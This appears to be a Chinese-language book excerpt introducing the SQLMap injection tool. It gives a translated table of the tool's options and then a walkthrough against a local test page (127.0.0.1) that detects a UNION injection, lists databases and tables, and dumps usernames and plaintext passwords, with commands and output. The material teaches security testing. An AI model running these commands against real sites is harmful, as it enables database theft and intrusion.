SQL Map是一款自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird,、Sybase和SAP MaxDB。它采用六种独特的SQL注入技术,分别是。
l 基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
l 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟
l 语句是否执行(即页面返回时间是否增加)来判断。
l 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
l 联合查询注入,可以使用union的情况下的注入。
l 堆查询注入,可以同时执行多条语句的执行时的注入。
首先需要说明的是,SQL Map是基于Python2.X进行编写的,所以使用SQL Map必须切换到Python2.X环境下,可以参考本书4.3.6章节的“扩展阅读:一台机器上同时支持Python 2.X系列和3.X系列”。本书介绍的SQL Map版本为1.2.9.30#dev
打开命令行编辑工具,进入到SQL Map所在的目录,通过命令。
\sqlmap目录>sqlmap.py [参数] [可能存在SQL注入的URL地址]
使用SQL Map工具。SQL Map的参数见2。
2 SQLMap的参数
设置 | 解释 |
---|---|
Options(选项) | |
-h, --help :显示此帮助消息并退出 -hh:显示更加详细的帮助信息并退出 --version:显示程序的版本号并退出 -v VERBOSE:详细级别:0-6(默认为1) | |
Target(目标) | 以下至少需要设置其中一个选项,设置目标URL。 |
-d DIRECT:直接连接到数据库。 -u URL, --url=URL:目标URL。 -l LOGFILE:解析目标、从Burp或WebScarab代理日志文件。-x SITEMAPURL:解析目标从远程站点地图文件(.xml)。-m BULKFILE:扫描文本文件中给出的多个目标。-r REQUESTFILE:从文件加载HTTP请求。-g GOOGLEDORK:处理Google dork的结果作为目标URL。 -c CONFIGFILE:从INI配置文件中加载选项。 | |
Request(请求) | 这些选项可以用来指定如何连接到目标URL。 |
--method=METHOD:强制使用给定的HTTP方法(e.g. PUT)。--data=DATA:通过POST发送的数据字符串。--param-del=PARA:用于拆分参数值的字符。--cookie=COOKIE:HTTP Cookie头的值。--cookie-del=COOKIE :用于分割Cookie值的字符。--load-cookies=L.. :包含Netscape / WGET格式的cookie的文件。--drop-set-cookie:从响应中忽略Set-Cookie头。--user-agent=AGENT:指定 HTTP User - Agent头。--random-agent:使用随机选定的HTTP User - Agent头。--host=HOST:HTTP主机头值。--referer=REFERER :指定 HTTP Referer头。-H HEADER, --hea.. :额外header,比如:(e.g. "X-Forwarded-For: 127.0.0.1")。--headers=HEADERS:额外header,比如:(e.g. "Accept-Language: fr\nETag: 123")。--auth-type=AUTH.. :HTTP认证类型(Basic, Digest, NTLM or PKI)。--auth-cred=AUTH..: HTTP认证凭证(name:password)。--auth-file=AUTH.. :HTTP认证 PEM认证/私钥文件。--ignore-401:忽略HTTP错误401(未经授权)。--proxy=PROXY:使用代理连接到目标网址。--proxy-cred=PRO..:代理认证证书(name:password) 。--proxy-file=PRO..:从文件中加载代理列表。--ignore-proxy:忽略系统默认代理设置。--tor:使用Tor匿名网络。--tor-port=TORPORT:设置Tor代理端口而不是默认值。--tor-type=TORTYPE:设置Tor代理类型。--check-tor:检查Tor是否正确使用。--delay=DELAY:每个HTTP请求之间的延迟(秒) --timeout=TIMEOUT:超时连接前等待(秒,默认30秒)。--retries=RETRIES:连接超时重试次数(默认值3)。--randomize=RPARAM:随机更改给定参数的值。--safe-url=SAFEURL:在测试期间频繁访问的URL地址。--safe-post=SAFE..:POST数据发送到安全URL。--safe-req=SAFER.. :从文件中加载安全HTTP请求。--safe-freq=SAFE..:在两次访问给定安全网址之间测试请求。--skip-urlencode:忽略有效载荷数据的URL编码。--csrf-token=CSR.. :参数用于保存anti-CSRF令牌。--csrf-url=CSRFURL :提取anti-CSRF URL地址访问令牌。--force-ssl:强制使用SSL / HTTPS。--hpp:使用HTTP参数pollution的方法。--eval=EVALCODE: (e.g. 评估请求之前提供Python代码 "import hashlib;id2=hashlib.md5(id).hexdigest()") 。 | |
Optimization(优化) | 这些选项可用于优化SQL Map的性能。 |
-o :开启所有优化开关。--predict-output:预测常见的查询输出。--keep-alive:使用持久的HTTP(S)连接。--null-connection:从没有实际的HTTP响应体中检索页面长度。--threads=THREADS:最大的HTTP(S)请求并发量(默认为1)。 | |
Injection(注入) | 这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。 |
-p TESTPARAMETER:可测试的参数。--skip=SKIP:忽略对给定参数的测试。--skip-static:忽略测试不显示为动态的参数。--param-exclude=.. :使用正则表达式排除参数进行测试(e.g. "ses")。--dbms=DBMS :强制后端的DBMS为此值。--dbms-cred=DBMS.. : DBMS认证凭证(user:password) 。--os=OS:强制后端的DBMS操作系统为这个值。--invalid-bignum:使用大数字使值无效。--invalid-logical:使用逻辑操作使值无效。--invalid-string:使用随机字符串使值无效。--no-cast:关闭有效Payload铸造机制 --no-escape:关闭字符串转义机制。--prefix=PREFIX:注入Payload字符串前缀。--suffix=SUFFIX:注入Payload字符串后缀。--tamper=TAMPER:使用给定的脚本篡改注入数据。 | |
Detection(检测) | 这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。 |
--level=LEVEL:执行测试的等级(1-5,默认为1)。--risk=RISK:执行测试的风险(0-3,默认为1)。--string=STRING:查询时有效时在页面匹配字符串。--not-string=NOT..:当查询求值为无效时匹配的字符串。--regexp=REGEXP:查询时有效时在页面匹配正则表达式。--code=CODE:当查询求值为True时匹配的HTTP代码。--text-only:仅基于在文本内容比较网页。 --titles:仅根据他们的标题进行比较。 | |
Techniques(技巧) | 这些选项可用于调整具体的SQL注入测试。 |
--technique=TECH:SQL注入技术测试(默认BEUST)。--time-sec=TIMESEC:DBMS响应的延迟时间(默认为5秒)。--union-cols=UCOLS :定列范围用于测试UNION查询注入。--union-char=UCHAR:用于暴力猜解列数的字符。--union-from=UFROM:要在UNION查询SQL注入的FROM部分使用的表。--dns-domain=DNS.. :域名用于DNS漏出攻击。--second-order=S.. :生成页面的URL搜索为second-order响应。 | |
Fingerprint(指纹) | |
-f, --fingerprint:执行检查广泛的DBMS版本指纹。 | |
Enumeration(枚举) | 这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己的SQL语句。 |
-a, --all:检索所有内容 -b, --banner:检索数据库管理系统的标识。--current-user:检索数据库管理系统的当前用户。--current-db:检索数据库管理系统当前数据库。--hostname:检索数据库服务器的主机名。--is-dba :检测数据库管理系统当前用户是否DBA。--users:枚举数据库管理系统用户。--passwords:枚举数据库管理系统用户密码哈希值。--privileges:枚举数据库管理系统用户的权限。--roles:枚举数据库管理系统用户的角色。--dbs:枚举数据库管理系统数据库。--tables:枚举的数据库管理系统数据库中的表。--columns:枚举数据库管理系统数据库表列。--schema:枚举数据库架构。--count:检索表的条目数。--dump:转储数据库管理系统的数据库中的表项。--dump-all:转储数据库管理系统的数据库中的表项。--search:搜索列,表和/或数据库名称。--comments:检索数据库的comments(注释、评论)。-D DB:要进行枚举的数据库名。-T TBL:要进行枚举的数据库表。-C COL:要进行枚举的数据库列。-X EXCLUDECOL:要不进行枚举的数据库列。-U USER:用来进行枚举的数据库用户。--exclude-sysdbs:枚举表时排除系统数据库。--pivot-column=P.. :主列名称。--where=DUMPWHERE:使用WHERE条件进行表转储。--start=LIMITSTART:第一个查询输出进入检索。--stop=LIMITSTOP:最后查询的输出进入检索。--first=FIRSTCHAR:第一个查询输出字的字符检索。--last=LASTCHAR:最后查询的输出字字符检索。--sql-query=QUERY:要执行的SQL语句。--sql-shell:提示交互式SQL的shell。--sql-file=SQLFILE:从给定文件执行SQL语句。 | |
Brute force(蛮力) | 这些选项可以被用来运行蛮力检查。 |
--common-tables:检查存在共同表。--common-columns:检查存在共同列。 | |
Operating system access(操作系统访问) | 这些选项可以用于访问后端数据库管理系统的底层操作系统。 |
--os-cmd=OSCMD:执行操作系统命令。--os-shell:交互式的操作系统的shell。--os-pwn:获取一个OOB shell,meterpreter或VNC。--os-smbrelay:一键获取一个OOB shell,meterpreter或VNC。--os-bof:存储过程缓冲区溢出利用。--priv-esc:数据库进程用户权限提升。--msf-path=MSFPATH Metasploit Framework:本地的安装路径。--tmp-path=TMPPATH:远程临时文件目录的绝对路径。 | |
File system access(访问文件系统) | 这些选项可以被用来访问后端数据库管理系统的底层文件系统。 |
--file-read=RFILE 从后端的数据库管理系统文件系统读取文件--file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件--file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径 | |
User-defined function injection(用户自定义函数注入) | 这些选项可以用来创建用户自定义函数。 |
--udf-inject:注入用户自定义函数。--shared-lib=SHLIB:共享库的本地路径。 | |
Windows注册表访问 | 这些选项可以被用来访问后端数据库管理系统Windows注册表。 |
--reg-read:读一个Windows注册表项值。--reg-add:写一个Windows注册表项值。--reg-del:删除Windows注册表键值。--reg-key=REGKEY:Windows注册表键。--reg-value=REGVAL:Windows注册表项值。--reg-data=REGDATA:Windows注册表键值数据。--reg-type=REGTYPE:Windows注册表项值类型。 | |
General(一般) | 这些选项可以用来设置一些一般的工作参数。 |
-s SESSIONFILE:保存和恢复检索会话文件的所有数据。-t TRAFFICFILE:记录所有HTTP流量到一个文本文件中。--batch:从不询问用户输入,使用所有默认配置。 --binary-fields=.. :具有二进制值的结果字段。--charset=CHARSET:强制用于数据检索的字符编码。--crawl=CRAWLDEPTH :从目标网址开始抓取网站。--crawl-exclude=..:正则表达式排除网页抓取(e.g. "logout")。--csv-del=CSVDEL :分隔CSV输出中使用的字符(默认 ",") 。--dump-format=DU..:转储数据的格式(CSV(默认)、HTML 或者 SQLITE)。--eta:表示每个输出的预计到达时间。--flush-session:刷新当前目标的会话文件。--forms:在目标网址上解析和测试表单。--fresh-queries:忽略在会话文件中存储的查询结果。--hex:使用数据库管理系统哈希函数进行数据检索。--output-dir=OUT.. :自定义输出目录路径。--parse-errors:解析和显示响应中的数据库管理系统错误消息。--save=SAVECONFIG:保存选项到INI配置文件。 --scope=SCOPE:使用正则表达式从提供的代理日志中过滤目标。--test-filter=TE..:根据有效负载和/或标题(e.g. ROW)选择测试。--test-skip=TEST..:根据有效负载和/或标题忽略测试(e.g. BENCHMARK)。--update:更新SQLMap。 | |
Miscellaneous(杂项) | |
-z MNEMONICS:使用简短的助记符。--alert=ALERT:在找到SQL注入时运行主机操作系统命令。--answers=ANSWERS:设置问题答案(e.g. "quit=N,follow=N") 。--beep:发现SQL注入时提醒。--cleanup :SqlMap具体的UDF和表清理DBMS。--dependencies:检查是否缺少(非内核)SQLMap依赖关系。--disable-coloring:禁用控制台输出颜色。--gpage=GOOGLEPAGE:使用Google dork结果指定页码。--identify-waf:对WAF / IPS / IDS保护进行全面测试。--skip-waf:跳过启发式检测WAF / IPS / IDS保护。--mobile:通过HTTP User-Agent标头模仿智能手机。--offline:在离线模式下工作(仅使用会话数据)。--page-rank:Google dork结果显示网页排名(PR)。--purge-output:安全地从输出目录中删除所有内容。--smart :只有在正启发式时才进行彻底测试。--sqlmap-shell:提示交互式sqlmap shell。--wizard:给初级用户的简单向导界面。 |
现在来看一个存在SQL注入的URL如何获得数据库内相关内容的。
1. 查看是否存在SQL注入。
(py2.7work) c:\Python27\sqlmap>sqlmap.py -u"http://127.0.0.1:8080/sec/21/jsp/index.jsp?id=3"
…
[15:40:40] [INFO] resuming back-end DBMS 'mysql’
…
Type:UNION query
Title:Generic UNION query (NULL) - 3 columns
Payload:id=3 UNION ALL SELECTNULL,NULL,CONCAT(0x7162627171,0x4a7448706e6d61795679447864784676736e6f4f487269774f506f6a43526e654f76737352585a6c,0x716a786a71)--TJrx
---
[15:40:40] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL >= 5.0
[15:40:40] [INFO] fetched data logged to textfiles under 'C:\Users\xiang\.sqlmap\output\127.0.0.1'
[*] shutting down at 15:40:40
从上面结果可以获知,SQL Map已经得到数据库为MySQL,版本大于5.0,且后台是JSP语言。所以这个URL存在SQL注入。
2. 查看所有数据库。
(py2.7work) c:\Python27\sqlmap>sqlmap.py -u"http://127.0.0.1:8080/sec/21/jsp/index.jsp?id=3" --dbs
cweb application technology: JSP
back-end DBMS: MySQL >= 5.0
available databases [6]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] sec
[*] test
…
从上面结果可以获知当前数据库中存在information_schema、MySQL、performance_schema、phpmyadmin、sec和test六个数据库。
3. 查看当前数据库。
(py2.7work) c:\Python27\sqlmap>sqlmap.py -u"http://127.0.0.1:8080/sec/21/jsp/index.jsp?id=3" --current-db
…
current database: 'sec'
从上面结果可以获知当前数据库为sec。
4. 查看当前数据库下所有的表。
(py2.7work) c:\Python27\sqlmap> sqlmap.py -u"http://127.0.0.1:8080/sec/21/jsp/index.jsp?id=3" --table -D "sec"
Database: sec
[2 tables]
+-------+
| user |
| paper |
+-------+
从上面结果可以获知当前数据库下存在2个表:user和paper。
5. 查看指定表的数据结构。
(py2.7work) c:\Python27\sqlmap>sqlmap.py -u"http://127.0.0.1:8080/sec/21/jsp/index.jsp?id=3" --columns -T "user" -D"sec"
…
Database: sec
Table: user
[3 columns]
+----------+-------------+
| Column |Type |
+----------+-------------+
| id |int(11) |
| name |varchar(20) |
| password | varchar(20) |
+----------+-------------+
从上面结果可以获知use表中共有id、name、password三个字段以及三个字段的数据类型分别为int(11)、varchar(20)、varchar(20)。
5. 查看指定表的数据结构。
(py2.7work) c:\Python27\sqlmap>sqlmap.py -u"http://127.0.0.1:8080/sec/21/jsp/index.jsp?id=3" --dump –C "name,password" -T"user" -D "sec"
…
[5 entries]
+-------+----------+
| name |password |
+-------+----------+
| jerry | 654321 |
| cindy | 123456 |
…
| susan | qwert |
| peter | zxcvb |
+-------+----------+
[11:51:44] [INFO] table 'sec.`user`' dumped to CSVfile 'C:\Users\xiang\.sqlmap\output\127.0.0.1\dump\sec\user.csv'
[11:51:44] [INFO] fetched data logged to textfiles under 'C:\Users\xiang\.sqlmap\output\127.0.0.1'
[*] shutting down at 11:51:44
从上面结果可以获知use表的内容,并且沟通过--dump参数把表内容导入到C:\Users\xiang\.sqlmap\output\127.0.0.1\dump\sec\user.csv文件。
星云测试
http://www.teststars.cc
奇林软件
http://www.kylinpet.com
联合通测
http://www.quicktesting.net